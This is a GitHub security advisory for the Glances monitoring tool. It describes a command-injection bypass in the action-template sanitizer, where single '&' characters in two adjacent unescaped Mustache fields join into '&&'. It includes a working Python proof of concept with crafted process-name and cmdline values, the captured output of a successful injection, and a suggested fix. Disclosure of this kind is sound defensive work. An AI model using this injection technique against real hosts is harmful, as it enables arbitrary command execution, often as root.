Skip to content

Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction

High severity GitHub Reviewed Published Aug 1, 2026 in nicolargo/glances

Package

pip glances (pip)

Affected versions

<= 4.5.5

Patched versions

4.5.6

Description

Summary

The Glances action system lets an administrator configure shell commands that run
when a monitoring threshold is crossed. The command is a Mustache template whose
variables are filled with runtime stat fields such as a process name, a container
name or a filesystem mount point. Those fields are attacker-influenceable: a
local, unprivileged user who starts a process (or a container) controls its name
and command line. The rendered command is executed by secure_popen(), which
interprets &&, | and > as chaining / pipe / redirection operators.

glances/actions.py defends against this with _sanitize_mustache_dict(), which
strips those operators from each individual template value before rendering.
The sanitization is applied per field, but the operators are reconstructed
across the boundary of two adjacent template variables after Mustache
rendering. When an action template concatenates two unescaped variables
({{{a}}}{{{b}}} or {{&a}}{{&b}}) and the attacker makes the first value end
with & and the second begin with &, the rendered command contains a real
&&, and secure_popen() executes the injected command. The single-& in each
value passes the per-field filter untouched.

Affected versions

glances <= 4.5.5 (verified against the published PyPI release 4.5.5, the
latest at the time of writing; glances.__version__ == "4.5.5"). The
per-field sanitizer _sanitize_mustache_dict() is present and active in this
release. Not patched in any released version.

Privilege required

Two roles are involved:

  • A local, unprivileged user (or a container the attacker can name) supplies the
    attacker-controlled stat values (process/container name, mount point, etc.).
    This is the same trust boundary the action-template command-injection class
    already recognises: the attacker controls the process name, not the
    configuration.
  • An administrator has configured an action whose command template concatenates
    two unescaped Mustache variables with no separating character
    ({{{name}}}{{{cmdline}}}). Unescaped Mustache ({{{ }}} / {{& }}) is a
    documented Chevron feature and is the natural choice when the operator wants a
    value that contains shell-significant characters to reach the command verbatim.

No network access to the target host is required beyond the ability to run a
process (or start a named container) on it.

Vulnerable code (file:line)

glances/actions.py:25-46 — the per-field sanitizer:

# glances/actions.py:25
_SHELL_OPERATORS = ('&&', '|', '>>', '>')

def _sanitize_mustache_dict(mustache_dict):
    """Return a copy of mustache_dict with shell operators replaced by spaces."""
    if not mustache_dict:
        return mustache_dict
    safe = {}
    for k, v in mustache_dict.items():
        if isinstance(v, str):
            for op in _SHELL_OPERATORS:
                v = v.replace(op, ' ')          # per-field only
            safe[k] = v
        else:
            safe[k] = v
    return safe

glances/actions.py:100-111 — sanitize-then-render-then-execute:

# glances/actions.py:100
for cmd in commands:
    if chevron_tag:
        safe_dict = _sanitize_mustache_dict(mustache_dict)
        cmd_full = chevron.render(cmd, safe_dict)   # concatenation happens here
    else:
        cmd_full = cmd
    ret = secure_popen(cmd_full)                    # operators interpreted

Root cause

_sanitize_mustache_dict() removes &&, |, >>, > from each value in
isolation. It does not remove a lone &, because a single & is not one of the
listed operators. When two values are rendered next to each other by
chevron.render(), a trailing & from the first value and a leading & from the
second value join into a literal && in cmd_full. secure_popen() then
cmd.split('&&') and runs the second half as a separate subprocess.Popen
(shell=False) process. The same reconstruction works for > written as two
adjacent > characters split across the boundary (...> + >... and the
>>/> stripping is per field), and the sanitizer's own choice to sanitize
before, rather than after, rendering is the defect.

This is an incomplete fix of the action-template command-injection issue
(CVE-2026-32608 / GHSA-vcv2-q258-wrg7): _sanitize_mustache_dict() closes the
single-field case but not the cross-field-reconstruction case. The correct place
to enforce the operator ban is on the fully rendered command string (or by never
letting template-variable data introduce operators), not on the pre-render values
one at a time.

Chevron HTML-escapes &, <, >, " inside standard double-brace {{ }}
sections, so double-brace templates neutralise the && reconstruction. The
reconstruction is reachable specifically through unescaped variables
({{{ }}} / {{& }}), which is why the per-field sanitizer is the sole
remaining control on that path.

Reachability / How input reaches sink

  1. A local unprivileged user starts a process (or a container) whose name
    ends with & and whose cmdline begins with & <command> (both are stored
    verbatim in the plugin stat item).
  2. When the plugin crosses a warning / critical threshold,
    glances/plugins/plugin/model.py calls self.actions.run with the full stat
    item passed as the mustache_dict argument.
  3. GlancesActions.run sanitizes each value with _sanitize_mustache_dict()
    (each keeps its single &), then chevron.render() concatenates the two
    adjacent unescaped variables, producing a literal && in the command string.
  4. secure_popen(cmd_full) splits on && and runs the attacker's segment as a
    separate subprocess.Popen(shell=False) process.

The trust boundary crossed is process-name / container-name → shell operator,
exactly the boundary the sanitizer was introduced to close.

Reproduction (end-to-end, against pinned version glances==4.5.5)

# 1. Install the latest published release into a clean venv
python3.13 -m venv gv
./gv/bin/pip install "glances==4.5.5"

# 2. Run the reproducer, which drives the real
#    glances.actions.GlancesActions.run() pipeline exactly as
#    glances/plugins/plugin/model.py invokes it on an alert.
./gv/bin/python repro.py

repro.py:

import os, sys, time
sys.argv = ['glances']
from glances.actions import GlancesActions

MARK = "/tmp/glances_crossfield_pwned"
NEG  = MARK + "_neg"
for f in (MARK, NEG):
    try: os.remove(f)
    except FileNotFoundError: pass

class Args:
    time = 0
ga = GlancesActions(args=Args())

# A processlist stat item; a local low-privilege user controls both 'name' and
# 'cmdline' by spawning a process (the established GHSA-vcv2 threat model).
# 'name' ends with '&', 'cmdline' begins with '&'  ->  '&&' forms across the boundary.
item = {'name': 'evilproc&', 'cmdline': '& touch %s' % MARK,
        'pid': 1337, 'cpu_percent': 99.0, 'key': 'pid'}

# NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are
# neutralised by chevron HTML-escaping '&' -> '&amp;'.
neg_item = dict(item); neg_item['cmdline'] = '& touch %s' % NEG
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl", "CRITICAL", ["logger p={{name}}{{cmdline}}"], repeat=True, mustache_dict=neg_item)
time.sleep(0.3)
print("NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):",
      "INJECTED" if os.path.exists(NEG) else "blocked (expected)")

# POSITIVE: an UNESCAPED template with two adjacent variables. Per-field
# _sanitize_mustache_dict leaves each single '&'; the '&&' operator is
# reconstructed after chevron.render, then split by secure_popen.
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl2", "CRITICAL", ["logger p={{{name}}}{{{cmdline}}}"], repeat=True, mustache_dict=item)
time.sleep(0.5)
print("POSITIVE (unescaped {{{name}}}{{{cmdline}}}):",
      "INJECTED - 'touch' executed" if os.path.exists(MARK) else "blocked")

Captured output (glances 4.5.5, Python 3.13, x86_64 Linux):

NEGATIVE CONTROL (escaped {{name}}{{cmdline}}): blocked (expected)
POSITIVE (unescaped {{{name}}}{{{cmdline}}}): INJECTED - 'touch' executed

The negative control confirms that the same attacker values under a standard
double-brace template are blocked (chevron escapes &). The positive case shows
the injected touch executing when the template uses two adjacent unescaped
variables: the file /tmp/glances_crossfield_pwned is created by the injected
command, not by the intended logger action.

Impact

  • Arbitrary command execution as the OS user running Glances (frequently root on
    monitored hosts) whenever an operator uses an unescaped, adjacent-variable
    action template and an attacker controls two neighbouring stat fields.
  • The same reconstruction reaches secure_popen()'s file-redirection (>) and
    pipe (|) handling, allowing arbitrary file write and output piping in
    addition to command chaining.
  • The bypass defeats the dedicated _sanitize_mustache_dict() control that was
    added specifically to stop attacker-controlled stat values from injecting shell
    operators.

Suggested fix

Enforce the operator ban on the rendered command string that comes from
template-variable expansion, rather than on the pre-render values in isolation.
One approach that mirrors the existing helper: render each variable, then reject /
neutralise operators in the concatenated result, or strip lone &/redirection
characters that originate from variable data.

def _sanitize_mustache_dict(mustache_dict):
    if not mustache_dict:
        return mustache_dict
    safe = {}
    for k, v in mustache_dict.items():
        if isinstance(v, str):
            # Neutralise every shell-significant character that secure_popen
            # can interpret, including a lone '&' that could pair with an
            # adjacent variable to reconstruct '&&'.
            for ch in ('&', '|', '>', '<'):
                v = v.replace(ch, ' ')
            safe[k] = v
        else:
            safe[k] = v
    return safe

Neutralising the single & (and the single > / |) in each value removes the
cross-field reconstruction because no operator character survives on either side
of a variable boundary. Alternatively, sanitize cmd_full after
chevron.render(), or pass the template-derived data as secure_popen(..., allow_operators=False) when the command originates from stat-field substitution.

Credit

Reported by tonghuaroot.

References

@nicolargo nicolargo published to nicolargo/glances Aug 1, 2026
Published to the GitHub Advisory Database Aug 17, 2026
Reviewed Aug 17, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-68518

GHSA ID

GHSA-qcpp-8x79-hhp3

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.